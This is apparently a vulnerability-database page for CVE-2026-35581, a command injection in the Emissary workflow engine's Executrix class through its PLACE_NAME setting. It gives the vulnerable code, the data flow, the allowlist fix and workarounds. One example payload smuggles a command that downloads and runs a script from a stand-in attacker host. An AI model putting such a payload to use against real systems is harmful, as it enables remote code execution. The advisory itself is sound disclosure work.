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CVE-2026-35581 (GCVE-0-2026-35581)

Vulnerability from cvelistv5 – Published: 2026-04-07 15:56 – Updated: 2026-04-08 14:57

Title

Emissary has a Command Injection via PLACE_NAME Configuration in Executrix

Summary

Emissary is a P2P based data-driven workflow engine. Prior to 8.39.0, the Executrix utility class constructed shell commands by concatenating configuration-derived values — including the PLACE_NAME parameter — with insufficient sanitization. Only spaces were replaced with underscores, allowing shell metacharacters (;, |, $, `, (, ), etc.) to pass through into /bin/sh -c command execution. This vulnerability is fixed in 8.39.0.

Severity ?

7.2 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

CWE

CWE-78 - Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

Assigner

GitHub_M

References

URL

Tags

https://github.com/NationalSecurityAgency/emissar…

x_refsource_CONFIRM

Impacted products

	Vendor	Product	Version
	NationalSecurityAgency	emissary	Affected: < 8.39.0

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FKIE_CVE-2026-35581

Vulnerability from fkie_nvd - Published: 2026-04-07 17:16 - Updated: 2026-06-17 10:40

Severity ?

7.2 (High) - CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/NationalSecurityAgency/emissary/security/advisories/GHSA-6c37-7w4p-jg9v	Exploit, Vendor Advisory

Impacted products

	Vendor	Product	Version
	nsa	emissary	*

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GHSA-6C37-7W4P-JG9V

Vulnerability from github – Published: 2026-04-08 00:12 – Updated: 2026-04-08 00:12

Summary

Emissary has a Command Injection via PLACE_NAME Configuration in Executrix

Details

Summary

The Executrix utility class constructed shell commands by concatenating configuration-derived values — including the PLACE_NAME parameter — with insufficient sanitization. Only spaces were replaced with underscores, allowing shell metacharacters (;, |, $, `, (, ), etc.) to pass through into /bin/sh -c command execution.

Details

Vulnerable code — `Executrix.java`

Insufficient sanitization (line 132):

this.placeName = this.placeName.replace(' ', '_');
// ONLY replaces spaces — shell metacharacters pass through

Shell sink (line 1052–1058):

protected String[] getTimedCommand(final String c) {
    return new String[] {"/bin/sh", "-c", "ulimit -c 0; cd " + tmpNames[DIR] + "; " + c};
}

Data flow

PLACE_NAME is read from a configuration file
Executrix applies only a space-to-underscore replacement
The placeName is used to construct temporary directory paths (tmpNames[DIR])
tmpNames[DIR] is concatenated into a shell command string
The command is executed via /bin/sh -c

Example payload

PLACE_NAME = "test;curl attacker.com/shell.sh|bash;x"

After the original sanitization: test;curl_attacker.com/shell.sh|bash;x (semicolons, pipes, and other metacharacters preserved)

Impact

Arbitrary command execution on the Emissary host
Requires the ability to control configuration values (e.g., administrative access or a compromised configuration source)

Remediation

Fixed in PR #1290, merged into release 8.39.0.

The space-only replacement was replaced with an allowlist regex that strips all characters not matching [a-zA-Z0-9_-]:

protected static final Pattern INVALID_PLACE_NAME_CHARS = Pattern.compile("[^a-zA-Z0-9_-]");

protected static String cleanPlaceName(final String placeName) {
    return INVALID_PLACE_NAME_CHARS.matcher(placeName).replaceAll("_");
}

This ensures that any shell metacharacter in the PLACE_NAME configuration value is replaced with an underscore before it can reach a command string.

Tests were added to verify that parentheses, slashes, dots, hash, dollar signs, backslashes, quotes, semicolons, carets, and at-signs are all sanitized.

Workarounds

If upgrading is not immediately possible, ensure that PLACE_NAME values in all configuration files contain only alphanumeric characters, underscores, and hyphens.

References

PR #1290 — validate placename with an allowlist
Original report: GHSA-wjqm-p579-x3ww

Severity ?

7.2 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

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Sightings

Author	Source	Type	Date

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

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CVE-2026-35581 (GCVE-0-2026-35581)

FKIE_CVE-2026-35581

GHSA-6C37-7W4P-JG9V

Summary

Details

Vulnerable code — Executrix.java

Data flow

Example payload

Impact

Remediation

Workarounds

References

Tags

Sightings

Nomenclature

Vulnerable code — `Executrix.java`